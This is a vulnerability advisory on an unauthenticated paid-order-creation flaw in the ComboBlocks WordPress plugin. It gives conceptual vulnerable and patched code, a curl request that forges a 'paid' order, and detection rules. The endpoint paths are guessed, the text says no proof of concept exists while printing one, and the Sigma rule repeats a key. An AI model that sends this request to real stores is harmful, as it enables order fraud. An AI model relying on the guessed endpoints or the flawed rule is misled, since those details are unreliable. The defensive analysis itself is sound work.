CVE-2024-13798

Executive Summary

CVE-2024-13798 is a critical security vulnerability in the Post Grid and Gutenberg Blocks – ComboBlocks WordPress plugin, affecting all versions up to and including 2.3.5. The flaw allows unauthenticated attackers to create new orders for products and mark them as paid without completing a payment. This is due to insufficient verification on form fields, specifically a lack of authorization checks on order creation endpoints. The vulnerability has a CVSS score of 5.3 (Medium), but its impact on e-commerce sites using WooCommerce or similar plugins can be severe, leading to financial loss and inventory manipulation. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The ComboBlocks plugin is distributed via the official WordPress plugin repository. Users are advised to check for updates and consider removing the plugin if no patch is forthcoming. The lack of a patch from the vendor increases the risk of supply chain attacks, as malicious actors could potentially inject backdoors into unpatched installations.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability to create fraudulent paid orders without authentication poses a significant business risk for e-commerce sites.

Deep Dive & Mechanics

The vulnerability resides in the order creation functionality of the ComboBlocks plugin. The plugin exposes REST API endpoints or AJAX actions that allow the creation of orders. Due to insufficient verification on form fields, an unauthenticated attacker can craft a request that creates a new order and sets its status to "paid" or "completed" without any payment processing.

Root Cause: The plugin fails to validate the user's authentication status and does not enforce proper authorization checks before processing order creation requests. Additionally, the plugin does not verify that the order's payment status is set only after a successful payment transaction.

Attack Vector: An attacker sends a crafted HTTP POST request to the vulnerable endpoint (e.g., /wp-json/combo-blocks/v1/create-order or an AJAX action) with parameters that define the order details and set the payment status to "paid".

Impact: Unauthenticated attackers can:

• Create fraudulent orders for any product.
• Mark orders as paid, bypassing payment gateways.
• Potentially trigger downstream actions (e.g., shipping, digital delivery) if the site is configured to fulfill orders automatically upon payment.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. The fix would involve adding authentication and authorization checks, as well as ensuring that payment status cannot be set arbitrarily.

Vulnerable Code (Conceptual):

// In a vulnerable version, the endpoint might look like this:
add_action('rest_api_init', function () {
    register_rest_route('combo-blocks/v1', '/create-order', array(
        'methods' => 'POST',
        'callback' => 'create_order_callback',
        'permission_callback' => '__return_true', // No authentication
    ));
});

function create_order_callback($request) {
    $order_data = $request->get_params();
    // Insufficient verification: no check if user is logged in or has capabilities
    $order = wc_create_order();
    $order->set_status('completed'); // Attacker can set this directly
    // ... rest of order creation
}

Patched Code (Conceptual):

// Patched version would include:
add_action('rest_api_init', function () {
    register_rest_route('combo-blocks/v1', '/create-order', array(
        'methods' => 'POST',
        'callback' => 'create_order_callback',
        'permission_callback' => function () {
            return current_user_can('edit_shop_orders'); // Require proper capability
        },
    ));
});

function create_order_callback($request) {
    // Verify nonce and user authentication
    if (!wp_verify_nonce($request->get_header('X-WP-Nonce'), 'wp_rest')) {
        return new WP_Error('rest_forbidden', 'Invalid nonce', array('status' => 403));
    }
    $order_data = $request->get_params();
    // Do not allow setting payment status directly; only after payment gateway confirmation
    $order = wc_create_order();
    $order->set_status('pending'); // Default to pending
    // ... rest of order creation
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with ComboBlocks plugin version <= 2.3.5 installed and active.
• WooCommerce or another e-commerce plugin that integrates with ComboBlocks.

Exploitation Steps:

1. Identify the vulnerable endpoint. Common patterns include /wp-json/combo-blocks/v1/create-order or an AJAX action like combo_blocks_create_order.
2. Craft a POST request with the following parameters:
   • product_id: ID of the product to order.
   • quantity: Quantity.
   • payment_status: Set to paid or completed.
   • Other required fields (e.g., billing details).
3. Send the request without any authentication headers.

Example cURL command:

curl -X POST https://target-site.com/wp-json/combo-blocks/v1/create-order \
  -H "Content-Type: application/json" \
  -d '{
    "product_id": 123,
    "quantity": 1,
    "payment_status": "paid",
    "billing": {
      "first_name": "John",
      "last_name": "Doe",
      "address_1": "123 Fake St",
      "city": "Anytown",
      "state": "CA",
      "postcode": "12345",
      "country": "US",
      "email": "attacker@example.com"
    }
  }'

Expected Outcome: The order is created and marked as paid in the WordPress admin dashboard.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual order creation patterns, especially from unauthenticated users.
• Look for orders with status "completed" or "paid" that were created without a corresponding payment transaction.
• Check logs for POST requests to /wp-json/combo-blocks/v1/create-order or similar endpoints from IPs not associated with legitimate users.

Hardening:

• Disable the ComboBlocks plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoint from unauthenticated users.
• Use a security plugin like Wordfence to add virtual patching.
• Monitor for any new orders with suspicious statuses.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-json/combo-blocks/v1/create-order or /wp-admin/admin-ajax.php?action=combo_blocks_create_order from unauthenticated sources.
  • Requests containing payment_status set to paid or completed in the body.
• File IOCs:
  • Modified or new order entries in the WordPress database with post_status set to wc-completed or wc-processing without a corresponding payment.
• Log IOCs:
  • WooCommerce order notes indicating "Order status changed from Pending payment to Completed" without a payment gateway transaction ID.

Detection Engineering

YARA Rule

rule Detect_ComboBlocks_Order_Creation_Exploit {
    meta:
        description = "Detects HTTP requests attempting to exploit CVE-2024-13798 in ComboBlocks plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13798"
    strings:
        $endpoint1 = "/wp-json/combo-blocks/v1/create-order"
        $endpoint2 = "action=combo_blocks_create_order"
        $paid_status = "payment_status"
        $paid_value = "\"paid\""
        $completed_value = "\"completed\""
    condition:
        any of ($endpoint*) and any of ($paid*) and any of ($paid_value, $completed_value)
}

Sigma Rule

title: CVE-2024-13798 - ComboBlocks Unauthenticated Order Creation
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated POST requests to ComboBlocks order creation endpoints with payment status set to paid or completed.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13798
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/wp-json/combo-blocks/v1/create-order'
            - 'action=combo_blocks_create_order'
        cs-uri-query|contains: 'payment_status'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin actions (if authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13798 - ComboBlocks Unauthenticated Order Creation"; flow:to_server,established; content:"POST"; http_method; content:"/wp-json/combo-blocks/v1/create-order"; http_uri; content:"payment_status"; http_client_body; pcre:"/(\"paid\"|\"completed\")/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the ComboBlocks plugin until a patch is released.
2. Implement a WAF rule to block unauthenticated requests to the vulnerable endpoints.
3. Review existing orders for any fraudulent entries created without payment.

Long-term Mitigation:

• Monitor the WordPress plugin repository for updates to ComboBlocks.
• Consider replacing the plugin with an alternative that has active security support.
• Enforce strict authentication and authorization for all REST API endpoints.
• Implement server-side validation to ensure payment status is only set after successful payment gateway confirmation.

Vendor Contact: The vendor (Comboblocks) has not responded to security reports. Users should consider this plugin abandoned and seek alternatives.

Valters IT